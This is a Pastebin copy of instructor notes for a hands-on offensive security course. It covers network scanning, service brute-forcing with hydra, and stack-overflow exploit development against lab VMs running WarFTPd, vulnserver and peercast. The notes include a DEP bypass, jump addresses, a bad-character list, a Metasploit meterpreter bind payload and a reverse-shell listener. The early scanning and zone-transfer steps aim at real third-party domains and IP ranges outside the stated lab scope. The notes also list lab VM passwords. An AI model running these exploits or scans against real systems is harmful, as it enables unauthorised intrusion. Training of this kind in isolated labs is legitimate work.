joemccray

Ultimate Hacklab

Feb 26th, 2018
2,154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Ultimate Hacklab
  2.  
  3.  
  4.  
  5.  
  6. Download the FreeFloat FTP Server exploit walk-through:
  7. https://s3.amazonaws.com/infosecaddictsfiles/ff.zip
  8.  
  9. #################################
  10. ----------- ############### # Day 1: Advanced Scanning Labs # ############### -----------
  11. #################################
  12.  
  13.  
  14. ---------------------------Type This-----------------------------------
  15. cd ~
  16.  
  17. mkdir toolz
  18.  
  19. cd toolz
  20.  
  21. wget https://dl.packetstormsecurity.net/UNIX/scanners/blindcrawl.pl
  22.  
  23. perl blindcrawl.pl -d motorola.com
  24. -----------------------------------------------------------------------
  25.  
  26.  
  27. -- Take each IP address and look ip up here:
  28. http://www.networksolutions.com/whois/index.jsp
  29.  
  30.  
  31. Zone Transfer fails on most domains, but here is an example of one that works:
  32. ---------------------------Type This-----------------------------------
  33. dig axfr heartinternet.co.uk @ns.heartinternet.co.uk
  34.  
  35.  
  36. cd ~/toolz/
  37.  
  38. wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
  39.  
  40. gcc ipcrawl.c -o ipcrawl
  41.  
  42. chmod 777 ipcrawl
  43.  
  44. ./ipcrawl 148.87.1.1 148.87.1.254
  45.  
  46.  
  47. sudo nmap -sL 148.87.1.0-255
  48. strategicsec
  49.  
  50.  
  51. sudo nmap -sL 148.87.1.0-255 | grep oracle
  52. strategicsec
  53. -----------------------------------------------------------------------
  54.  
  55.  
  56.  
  57.  
  58. ########################
  59. # Scanning Methodology #
  60. ########################
  61.  
  62. - Ping Sweep
  63. What's alive?
  64. ------------
  65.  
  66. ---------------------------Type This-----------------------------------
  67. sudo nmap -sP 157.166.226.*
  68. -----------------------------------------------------------------------
  69.  
  70. -if -SP yields no results try:
  71. ---------------------------Type This-----------------------------------
  72. sudo nmap -sL 157.166.226.*
  73. -----------------------------------------------------------------------
  74.  
  75. -Look for hostnames:
  76. ---------------------------Type This-----------------------------------
  77. sudo nmap -sL 157.166.226.* | grep com
  78. -----------------------------------------------------------------------
  79.  
  80.  
  81. - Port Scan
  82. What's where?
  83. ------------
  84. ---------------------------Type This-----------------------------------
  85. sudo nmap -sS 162.243.126.247
  86. -----------------------------------------------------------------------
  87.  
  88.  
  89. - Bannergrab/Version Query
  90. What versions of software are running
  91. -------------------------------------
  92. ---------------------------Type This-----------------------------------
  93. sudo nmap -sV 162.243.126.247
  94. -----------------------------------------------------------------------
  95.  
  96. - Vulnerability Research
  97. Lookup the banner versions for public exploits
  98. ----------------------------------------------
  99. http://exploit-db.com
  100. http://securityfocus.com/bid
  101.  
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114.  
  115.  
  116. ##############################
  117. # Scanning Process to follow #
  118. ##############################
  119. Step 1: Ping Sweep
  120. ------------------
  121. nmap -sP <IP-ADDRESS-RANGE>
  122. nmap -sL <IP-ADDRESS-RANGE>
  123.  
  124.  
  125. Step 2: Port Scan
  126. -----------------
  127. nmap -sS <IP-ADDRESS>
  128.  
  129.  
  130. Step 3: Bannergrab
  131. ------------------
  132. nmap -sV <IP-ADDRESS>
  133. nmap -sV -p- <IP-ADDRESS>
  134. |
  135. ----> Vulnerability Research
  136.  
  137.  
  138. Step 4: Vulnerability Scan the webservers
  139. -----------------------------------------
  140. git clone https://github.com/sullo/nikto.git Nikto2
  141.  
  142. cd Nikto2/program
  143.  
  144. perl nikto.pl -h <IP-ADDRESS>
  145.  
  146.  
  147.  
  148. Step 5: Directory Bruteforce
  149. --------------------
  150. sudo apt install -y libcurl4-openssl-dev
  151.  
  152. git clone https://github.com/v0re/dirb.git
  153.  
  154. cd dirb/
  155.  
  156. ./configure
  157.  
  158. make
  159.  
  160. ./dirb
  161.  
  162. ./dirb http://<IP-ADDRESS> wordlists/big.txt
  163.  
  164.  
  165.  
  166.  
  167.  
  168. Step 6: Bruteforce any services you find
  169. ----------------------------------------
  170. root@kali:~# hydra -L username.txt -P passlist.txt ftp://<IP-ADDRESS
  171. root@kali:~# hydra -l user -P passlist.txt ftp://<IP-ADDRESS
  172.  
  173.  
  174.  
  175.  
  176.  
  177.  
  178.  
  179. ------- Learning the guts of exploit development ------------------
  180. Day 1: Exploit Research
  181. http://www.securitytube.net/groups?operation=view&groupId=7
  182.  
  183. Day 2: Python Hacking
  184. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (videos 1-10 if you are a complete beginner)
  185. https://www.youtube.com/playlist?list=PL1A2CSdiySGLtKwqBnqj9BON6QQjWkP4n (entire playlist)
  186.  
  187.  
  188. Ensure that your Linux host can ping your Windows XP host (aka: The Green Machine)
  189.  
  190.  
  191. From your Linux host - please type the following commands
  192. ---------------------------Type This-----------------------------------
  193. cd ~
  194.  
  195. wget https://s3.amazonaws.com/infosecaddictsfiles/ED-Workshop-Files.zip
  196.  
  197. unzip ED-Workshop-Files.zip
  198.  
  199. cd ED-Workshop-Files
  200.  
  201. ---------------------------Type This-----------------------------------
  202.  
  203. cd Lab1a
  204.  
  205.  
  206. python warftpd1.py | nc XPSP3-ED-Target-IP 21
  207. -----------------------------------------------------------------------
  208.  
  209. At WINDBG prompt
  210. “r” to show registers or “alt+4”
  211.  
  212. ---------------------------Type This-----------------------------------
  213.  
  214. dd esp
  215. -----------------------------------------------------------------------
  216.  
  217. ---------------------------Type This-----------------------------------
  218.  
  219. python warftpd2.py | nc XPSP3-ED-Target-IP 21
  220. -----------------------------------------------------------------------
  221.  
  222.  
  223. At WINDBG prompt
  224. “r” to show registers or “alt+4”
  225.  
  226. ---------------------------Type This-----------------------------------
  227.  
  228. dd esp
  229. -----------------------------------------------------------------------
  230.  
  231. Eip: 32714131
  232. esp: affd58 (71413471)
  233.  
  234. Now we need to SSH into the StrategicSec Ubuntu host
  235.  
  236. ---------------------------Type This-----------------------------------
  237.  
  238. cd /home/strategicsec/toolz/metasploit/tools
  239.  
  240. ruby pattern_offset.rb 32714131
  241. 485
  242.  
  243. ruby pattern_offset.rb 71413471
  244. 493
  245. -----------------------------------------------------------------------
  246.  
  247. Distance to EIP is: 485
  248. Relative position of ESP is: 493
  249.  
  250. RET – POP EIP
  251. RET 4 – POP EIP and shift ESP down by 4 bytes
  252.  
  253. ---------------------------Type This-----------------------------------
  254.  
  255. cd /home/strategicsec/toolz/metasploit/
  256. ./msfpescan -j ESP DLLs/xpsp3/shell32.dll
  257. -----------------------------------------------------------------------
  258.  
  259. 0x7c9c167d push esp; retn 0x304d
  260. 0x7c9d30d7 jmp esp < - how about we use this one
  261. 0x7c9d30eb jmp esp
  262. 0x7c9d30ff jmp esp
  263.  
  264.  
  265. warftpd3.py with Notepad++
  266. Fill in the appropriate values
  267. Distance to EIP
  268. Address of JMP ESP
  269.  
  270.  
  271. ---------------------------Type This-----------------------------------
  272.  
  273. python warftpd3.py | nc XPSP3-ED-Target-IP 21
  274.  
  275. 0:003> dd eip
  276. 0:003> dd esp
  277. -----------------------------------------------------------------------
  278.  
  279.  
  280.  
  281.  
  282.  
  283. Mention bad characters
  284. No debugger
  285.  
  286.  
  287. ---------------------------Type This-----------------------------------
  288.  
  289. python warftpd4.py | nc XPSP3-ED-Target-IP 21
  290.  
  291. nc XPSP3-ED-Target-IP 4444
  292. -----------------------------------------------------------------------
  293.  
  294.  
  295.  
  296. ###########################################
  297. # Lab 1b: Stack Overflows with DEP Bypass #
  298. ###########################################
  299.  
  300. Reboot your target host and choose the "2nd" option for DEP.
  301.  
  302.  
  303. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1b
  304.  
  305.  
  306. ---------------------------Type This-----------------------------------
  307.  
  308. python warftpd1.py | nc XPSP3-ED-Target-IP 21
  309.  
  310. At WINDBG prompt
  311. “r” to show registers or “alt+4”
  312.  
  313. dd esp
  314.  
  315.  
  316.  
  317.  
  318. python warftpd2.py | nc XPSP3-ED-Target-IP 21
  319.  
  320.  
  321. At WINDBG prompt
  322. “r” to show registers or “alt+4”
  323. dd esp
  324. -----------------------------------------------------------------------
  325.  
  326. Eip: 32714131
  327. esp: affd58 (71413471)
  328.  
  329. Now we need to SSH into the StrategicSec Ubuntu host
  330.  
  331. ---------------------------Type This-----------------------------------
  332.  
  333. cd /home/strategicsec/toolz/metasploit/tools
  334.  
  335. ruby pattern_offset.rb 32714131
  336. 485
  337.  
  338. ruby pattern_offset.rb 71413471
  339. 493
  340.  
  341.  
  342.  
  343.  
  344.  
  345.  
  346.  
  347.  
  348. cd /home/strategicsec/toolz/metasploit/tools
  349.  
  350. ruby pattern_offset.rb 32714131
  351.  
  352. cd /home/strategicsec/toolz/metasploit/
  353.  
  354. ./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
  355.  
  356.  
  357.  
  358. python warftpd3.py | nc XPSP3-ED-Target-IP 21
  359.  
  360. 0:003> dd eip
  361. 0:003> dd esp
  362.  
  363. INT3s - GOOD!!!!!!!
  364.  
  365.  
  366.  
  367. python warftpd4.py | nc XPSP3-ED-Target-IP 21
  368.  
  369. nc XPSP3-ED-Target-IP 4444
  370. -----------------------------------------------------------------------
  371.  
  372.  
  373. strategicsec....exploit no workie!!!!
  374.  
  375.  
  376. Why????????? DEP!!!!!!!!!!!!!
  377.  
  378.  
  379.  
  380.  
  381. Let's look through ole32.dll for the following instructions:
  382.  
  383. mov al,0x1
  384. ret 0x4
  385.  
  386. We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
  387.  
  388.  
  389. ---------------------------Type This-----------------------------------
  390.  
  391. ./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
  392. -----------------------------------------------------------------------
  393.  
  394. [DLLs/xpsp3/ole32.dll]
  395. 0x775ee00e b001c204
  396. 0x775ee00e mov al, 1
  397. 0x775ee010 ret 4
  398.  
  399.  
  400. Then we need to jump to the LdrpCheckNXCompatibility routine in
  401. ntdll.dll that disables DEP.
  402.  
  403.  
  404.  
  405. Inside of ntdll.dll we need to find the following instructions:
  406.  
  407. CMP AL,1
  408. PUSH 2
  409. POP ESI
  410. JE ntdll.7
  411.  
  412.  
  413. ---------------------------Type This-----------------------------------
  414.  
  415. ./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
  416. -----------------------------------------------------------------------
  417.  
  418. [DLLs/xpsp3/ntdll.dll]
  419. 0x7c91cd24 3c016a025e0f84
  420. 0x7c91cd24 cmp al, 1
  421. 0x7c91cd26 push 2
  422. 0x7c91cd28 pop esi
  423. 0x7c91cd29 jz 7
  424.  
  425.  
  426. This set of instructions makes sure that AL is set to 1, 2 is pushed
  427. on the stack then popped into ESI.
  428.  
  429.  
  430.  
  431.  
  432. ---------------------------Type This-----------------------------------
  433.  
  434. dep = "\x0e\xe0\x5e\x77"+\
  435. "\xff\xff\xff\xff"+\
  436. "\x24\xcd\x91\x7c"+\
  437. "\xff\xff\xff\xff"+\
  438. "A"*0x54
  439.  
  440.  
  441.  
  442.  
  443. python warftpd5.py | nc XPSP3-ED-Target-IP 21
  444.  
  445. nc XPSP3-ED-Target-IP 4444
  446. -----------------------------------------------------------------------
  447. https://packetstormsecurity.com/files/tags/exploit/
  448.  
  449.  
  450.  
  451.  
  452.  
  453. ------ Learning the GUTS of exploit development ----------------
  454.  
  455.  
  456.  
  457.  
  458.  
  459.  
  460.  
  461.  
  462.  
  463.  
  464.  
  465.  
  466.  
  467.  
  468.  
  469. ##############################
  470. # Scanning Process to follow #
  471. ##############################
  472. Step 1: Ping Sweep
  473. ------------------
  474. nmap -sP <IP-ADDRESS-RANGE>
  475. nmap -sL <IP-ADDRESS-RANGE>
  476.  
  477.  
  478. Step 2: Port Scan
  479. -----------------
  480. nmap -sS <IP-ADDRESS>
  481.  
  482.  
  483. Step 3: Bannergrab
  484. ------------------
  485. nmap -sV <IP-ADDRESS>
  486. nmap -sV -p- <IP-ADDRESS>
  487. |
  488. ----> Vulnerability Research
  489.  
  490.  
  491. Step 4: Vulnerability Scan the webservers
  492. -----------------------------------------
  493. git clone https://github.com/sullo/nikto.git Nikto2
  494.  
  495. cd Nikto2/program
  496.  
  497. perl nikto.pl -h <IP-ADDRESS>
  498.  
  499.  
  500.  
  501. Step 5: Directory Bruteforce
  502. --------------------
  503. sudo apt install -y libcurl4-openssl-dev
  504.  
  505. git clone https://github.com/v0re/dirb.git
  506.  
  507. cd dirb/
  508.  
  509. ./configure
  510.  
  511. make
  512.  
  513. ./dirb
  514.  
  515. ./dirb http://<IP-ADDRESS> wordlists/big.txt
  516.  
  517.  
  518.  
  519.  
  520.  
  521. Step 6: Bruteforce any services you find
  522. ----------------------------------------
  523. root@kali:~# hydra -L username.txt -P passlist.txt ftp://<IP-ADDRESS
  524. root@kali:~# hydra -l user -P passlist.txt ftp://<IP-ADDRESS
  525.  
  526.  
  527.  
  528.  
  529.  
  530.  
  531. ##############################
  532. ----------- ############### # Day 2: Stack Overflow Labs # ############### -----------
  533. ##############################
  534.  
  535.  
  536.  
  537.  
  538.  
  539. #######################################
  540. # Download the class virtual machines #
  541. #######################################
  542.  
  543. You can download the Exploit Dev VMs from the links below:
  544. https://s3.amazonaws.com/infosecaddictsvirtualmachines/XPSP3-ED-Target.zip
  545. user: Administrator
  546. pass: strategicsec
  547.  
  548.  
  549. https://s3.amazonaws.com/infosecaddictsvirtualmachines/Strategicsec-XP-ED-Attack-Host.zip
  550. user: Administrator
  551. pass: strategicsec
  552.  
  553.  
  554.  
  555. https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
  556. username: workshop
  557. password: password
  558.  
  559.  
  560. Inside of your XP-ED-AttackHost VM please download this file and extract it to your Desktop:
  561. https://s3.amazonaws.com/StrategicSec-Files/ED-Workshop-Files.zip
  562.  
  563.  
  564.  
  565. #########################################
  566. # Download this file on your windows VM #
  567. #########################################
  568. https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip
  569. https://s3.amazonaws.com/infosecaddictsfiles/SLmail5-5-Exploit.zip
  570.  
  571.  
  572.  
  573.  
  574. #####################################
  575. # Quick Stack Based Buffer Overflow #
  576. #####################################
  577.  
  578. - You can download everything you need for this exercise (except netcat) from the link below
  579. https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip
  580.  
  581. - Extract this zip file to your Desktop
  582.  
  583. - Go to folder C:\Users\Workshop\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
  584.  
  585. - Open a new command prompt and type:
  586. nc localhost 9999
  587.  
  588. - In the new command prompt window where you ran nc type:
  589. HELP
  590.  
  591. - Go to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts
  592. - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
  593.  
  594. - Now double-click on 1-simplefuzzer.py
  595. - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
  596.  
  597.  
  598. - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
  599.  
  600. - Now go to folder C:\Users\Workshop\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
  601.  
  602. - Go back to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
  603.  
  604. - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
  605.  
  606. - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
  607.  
  608. - Calculate the distance to EIP by running script 3-3000chars.py
  609. - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
  610.  
  611. 4-count-chars-to-EIP.py
  612. - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
  613. - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
  614.  
  615. 5-2006char-eip-check.py
  616. - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
  617.  
  618. 6-jmp-esp.py
  619. - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
  620.  
  621. 7-first-exploit
  622. - In this script we actually do the stack overflow and launch a bind shell on port 4444
  623.  
  624. 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
  625.  
  626.  
  627. ------------------------------
  628.  
  629. cd /home/strategicsec/toolz/metasploit/modules/exploits/windows/misc
  630.  
  631. vi vulnserv.rb (paste the code into this file)
  632.  
  633.  
  634.  
  635. cd ~/toolz/metasploit
  636.  
  637. ./msfconsole
  638.  
  639.  
  640.  
  641. use exploit/windows/misc/vulnserv
  642. set PAYLOAD windows/meterpreter/bind_tcp
  643. set RHOST 192.168.88.129
  644. set RPORT 9999
  645. exploit
  646.  
  647. ---------------------------------------------------------------------
  648. Day 1 Challenge:
  649.  
  650. Write an exploit for FreeFloat FTP - make sure that it is broken up into multiple scripts like the vulnserver exploit is.
  651. https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
  652.  
  653.  
  654. Reference scripts for FreeFloat FTP:
  655. https://www.exploit-db.com/exploits/40711/
  656. https://www.exploit-db.com/exploits/40681/
  657. https://www.exploit-db.com/exploits/40677/
  658. https://www.exploit-db.com/exploits/40674/
  659. https://www.exploit-db.com/exploits/40673/
  660. https://www.exploit-db.com/exploits/40672/
  661. https://www.exploit-db.com/exploits/24479/
  662.  
  663.  
  664.  
  665.  
  666.  
  667.  
  668.  
  669.  
  670.  
  671.  
  672.  
  673. ---------------------------------------------------------------------------------------------------------------------------------
  674. Summary of what we've learned so far....
  675.  
  676.  
  677. Skill Level 1: (Can identify vulnerable hosts - KNOWN VULNERABILITIES)
  678. ----------------------------------------------------------------------
  679. - Ping Sweep
  680. - Port Scan
  681. - Bannergrab
  682. - Vulnerability Research
  683.  
  684. ##############################
  685. # Scanning Process to follow #
  686. ##############################
  687. Step 1: Ping Sweep
  688. ------------------
  689. nmap -sP <IP-ADDRESS-RANGE>
  690. nmap -sL <IP-ADDRESS-RANGE>
  691.  
  692.  
  693. Step 2: Port Scan
  694. -----------------
  695. nmap -sS <IP-ADDRESS>
  696.  
  697.  
  698. Step 3: Bannergrab
  699. ------------------
  700. nmap -sV <IP-ADDRESS>
  701. nmap -sV -p- <IP-ADDRESS>
  702. |
  703. ----> Vulnerability Research
  704.  
  705.  
  706. Step 4: Vulnerability Scan the webservers
  707. -----------------------------------------
  708. git clone https://github.com/sullo/nikto.git Nikto2
  709.  
  710. cd Nikto2/program
  711.  
  712. perl nikto.pl -h <IP-ADDRESS>
  713.  
  714.  
  715.  
  716. Step 5: Directory Bruteforce
  717. --------------------
  718. sudo apt install -y libcurl4-openssl-dev
  719.  
  720. git clone https://github.com/v0re/dirb.git
  721.  
  722. cd dirb/
  723.  
  724. ./configure
  725.  
  726. make
  727.  
  728. ./dirb
  729.  
  730. ./dirb http://<IP-ADDRESS> wordlists/big.txt
  731.  
  732.  
  733.  
  734.  
  735.  
  736. Step 6: Bruteforce any services you find
  737. ----------------------------------------
  738. root@kali:~# hydra -L username.txt -P passlist.txt ftp://<IP-ADDRESS
  739. root@kali:~# hydra -l user -P passlist.txt ftp://<IP-ADDRESS
  740.  
  741.  
  742.  
  743. Skill Level 2: Can identify UNKNOWN VULNERABILITIES)
  744. ----------------------------------------------------
  745. 1. App Type
  746. - Stand Alone
  747. - Client-Server (app name: vulnserver.exe)
  748. - Web App
  749.  
  750. 2. Data Input Type
  751. - File/Keyboard/Mouse (Stand Alone)
  752. - Logical Network Port (Client-Server) (tcp port: 9999)
  753. - Browser (Web App)
  754.  
  755.  
  756. 3a. Map and fuzz all app entry points
  757. - Methods
  758. - Functions
  759. - Subroutines
  760. - Controllers
  761. - Commands
  762. HELP
  763. STATS [stat_value]
  764. RTIME [rtime_value]
  765. LTIME [ltime_value]
  766. SRUN [srun_value]
  767. TRUN [trun_value]
  768. GMON [gmon_value]
  769. GDOG [gdog_value]
  770. KSTET [kstet_value]
  771. GTER [gter_value]
  772. HTER [hter_value]
  773. LTER [lter_value]
  774. KSTAN [lstan_value]
  775. EXIT
  776.  
  777. 3b. Fuzz each app entry point
  778.  
  779.  
  780. 4. Isolate the crash
  781. - TRUN 2100 is where the app crashes once placed in OllyDBG
  782.  
  783.  
  784. 5. Calculate distance to EIP
  785. - Distance to EIP is 2006 bytes
  786.  
  787.  
  788. 6. Redirect program execution
  789. - JMP REG (example: JMP ESP)
  790. - PUSH REG; RET (PUSH EST; RET)
  791. - CALL REG; (CALL ESP)
  792. ----------------------------------------------------------------
  793. 625011AF FFE4 JMP ESP
  794. Remember that you need to write 625011AF backwards and in hex
  795. jmpesp='\xaf\x11\x50\x62'
  796.  
  797. Or you can use struct.pack to write it as little endian
  798. import struct
  799. struct.pack("<L", 0x625011AF)
  800. ----------------------------------------------------------------
  801. - Land in dummy shellcode
  802.  
  803.  
  804. 7. Replace dummy shellcode with real shellcode
  805. - Bad characters
  806. Reference link: http://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/
  807. "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
  808. "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  809. "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
  810. "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
  811. "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
  812. "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
  813. "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
  814. "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
  815. - Not enough space
  816. subtract the bottom of ESP from the top of ESP to figure out how much space you have for the payload
  817.  
  818.  
  819. ##################
  820. # Linux Exploits #
  821. ##################
  822.  
  823. The target virtual machine for these labs can be downloaded from here:
  824. https://s3.amazonaws.com/infosecaddictsvirtualmachines/asterisk.zip
  825. root: exploitlab
  826. user: exploitlab
  827. pass: exploitlab
  828.  
  829.  
  830.  
  831. The attack scripts can be downloaded from here:
  832. https://s3.amazonaws.com/secureninja/files/peercast_skel.zip
  833. https://s3.amazonaws.com/secureninja/files/dproxy.zip
  834. https://s3.amazonaws.com/secureninja/files/asterisk.zip
  835.  
  836.  
  837. ######################################
  838. # Lab 1: Simple Linux Stack Overflow #
  839. ######################################
  840. Login to the asterisk VM with the username/password of (exploitlab/exploitlab)
  841.  
  842. ---------------------------Type This-----------------------------------
  843.  
  844. cat victim1.c
  845. gcc victim1.c -o victim1
  846. ./victim AAAAAAAAAAAAAAAAAAA
  847. ./victim AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  848.  
  849.  
  850.  
  851. gdb -core core.xxxx
  852. info registers
  853. x/64x $esp
  854. quit
  855.  
  856.  
  857. /usr/local/sbin/peercast
  858.  
  859. -open peercast1.py on the XP attack-
  860. python peercast1.py | nc asterisk-vm-ip 7144
  861.  
  862. gdb -core core.xxxx
  863. info registers
  864. x/64x $esp
  865. quit
  866.  
  867.  
  868.  
  869. /usr/local/sbin/peercast
  870.  
  871. -open peercast2.py-
  872. python peercast2.py | nc asterisk-vm-ip 7144
  873.  
  874. gdb -core core.xxxx
  875. info registers
  876. x/64x $esp
  877. quit
  878.  
  879.  
  880.  
  881.  
  882.  
  883. - SSH into the Ubuntu Host (strategicsec:strategicsec) -
  884. cd /home/strategicsec/toolz/metasploit/tools/exploit
  885.  
  886. Now we will run the pattern offset with ruby:
  887.  
  888. ruby pattern_offset.rb 42306142
  889.  
  890. and
  891.  
  892. ruby pattern_offset.rb 61423161
  893. -----------------------------------------------------------------------
  894.  
  895. Distance to EIP is 780
  896. Relative position of ESP 784
  897.  
  898. Now to find a good JMP ESP address with msfelfscan
  899.  
  900. ---------------------------Type This-----------------------------------
  901.  
  902. cd /home/strategicsec/toolz/metasploit/
  903. ./msfelfscan -j ESP binaries/peercast_binary
  904. -----------------------------------------------------------------------
  905.  
  906. 0x0808fb57 jmp esp <----- we will use this one!
  907. 0x0808fcc7 jmp esp
  908. 0x0808ffff jmp esp
  909. 0x08090057 jmp esp <----- we can't use this one.
  910. 0x080901df jmp esp
  911.  
  912.  
  913. Now open and edit peercast3.py in notepad++ on our XP Host machine.
  914. pad_lenth = the distance to EIP
  915. ret_address = the jmp esp we are using
  916.  
  917. ---------------------------Type This-----------------------------------
  918.  
  919. python peercast3.py | nc asterisk-vm-ip 7144
  920.  
  921. gdb -core core.xxxx
  922. info registers
  923. x/64x $eip
  924. x/10i $eip
  925. quit
  926. -----------------------------------------------------------------------
  927.  
  928. Open peercast4.py in Notepad++ and replace the \xCC with our msf shellcode
  929.  
  930. Linux IA32 Reverse Shell
  931. LHOST (Listening Host) – the IP of your XP host machine ipconfig /all
  932. LPORT (Listening Port) – chose a port to run your listener on
  933. Encoder: Alpha2
  934.  
  935. ---------------------------Type This-----------------------------------
  936.  
  937. nc -l -p 4321
  938. python peercast4.py | nc asterisk-vm-ip 7144
  939. -----------------------------------------------------------------------
  940.  
  941.  
  942. ###########################
  943. ----------- ############### # Day 3: Attack Lab Hosts # ############### -----------
  944. ###########################
  945.  
  946.  
  947.  
  948. #########################
  949. # Class Virtual Machine #
  950. #########################
  951.  
  952.  
  953. Here is the VMWare virtual machine for the class or you can use Kali Linux as well if you like:
  954.  
  955. https://s3.amazonaws.com/infosecaddictsvirtualmachines/Ubuntu-17-10-InfoSecAddictsVM.zip
  956. user: infosecaddicts
  957. pass: infosecaddicts
  958.  
  959.  
  960. Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack.
  961.  
  962.  
  963. To connect to the VPN open a web browser on your host machine (not your virtual machine) and go to the following URL:
  964. https://54.245.178.32/?src=connect
  965.  
  966.  
  967. Accept the security exception and enter one of the following user names:
  968.  
  969. username: labuser001
  970. username: labuser002
  971. username: labuser003
  972. username: labuser004
  973. username: labuser005
  974. username: labuser006
  975. username: labuser007
  976. username: labuser008
  977. username: labuser009
  978. username: labuser010
  979. username: labuser011
  980. username: labuser012
  981. username: labuser013
  982. username: labuser014
  983. username: labuser015
  984. username: labuser016
  985. username: labuser017
  986. username: labuser018
  987. username: labuser019
  988. username: labuser020
  989.  
  990. ----------------------------------------------------------------------------------------------------------------------------------------
  991.  
  992. Mr. McCray will provide you with the password for the usernames above once the training session starts.
  993.  
  994.  
  995.  
  996.  
  997. The target network range is:
  998. 172.31.2.0/24
  999.  
  1000.  
  1001. You can do any attack EXCEPT man-in-the-middle attacks, and please DO NOT attack any other IP ranges.
  1002.  
  1003.  
  1004.  
  1005.  
  1006.  
  1007.  
  1008.  
  1009.  
  1010.  
  1011.  
  1012. ----------------------------------------------------------------------------------------------------------------------------------------
  1013. Some tools to install:
  1014. ---------------------------Type This-----------------------------------
  1015. wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
  1016. gcc propecia.c -o propecia
  1017. sudo cp propecia /bin
  1018. -----------------------------------------------------------------------
  1019.  
  1020.  
  1021.  
  1022.  
  1023.  
  1024. Step 1: Portscan the server
  1025. ---------------------------Type This-----------------------------------
  1026. sudo nmap -sS 172.31.2.139
  1027. -----------------------------------------------------------------------
  1028.  
  1029. Step 2: Version scan the server
  1030. ---------------------------Type This-----------------------------------
  1031. sudo nmap -sV -p22,80 172.31.2.139
  1032. -----------------------------------------------------------------------
  1033.  
  1034.  
  1035.  
  1036. Step 3: Vulnerability scan the webserver
  1037. ---------------------------Type This-----------------------------------
  1038. cd ~/toolz/
  1039.  
  1040. rm -rf nikto*
  1041.  
  1042. git clone https://github.com/sullo/nikto.git Nikto2
  1043.  
  1044. cd Nikto2/program
  1045.  
  1046. perl nikto.pl -h 172.31.2.139
  1047. -----------------------------------------------------------------------
  1048.  
  1049.  
  1050.  
  1051.  
  1052. Step 4: Directory brute-force the webserver
  1053. ---------------------------Type This-----------------------------------
  1054. cd ~/toolz
  1055.  
  1056. sudo apt install -y libcurl4-openssl-dev
  1057.  
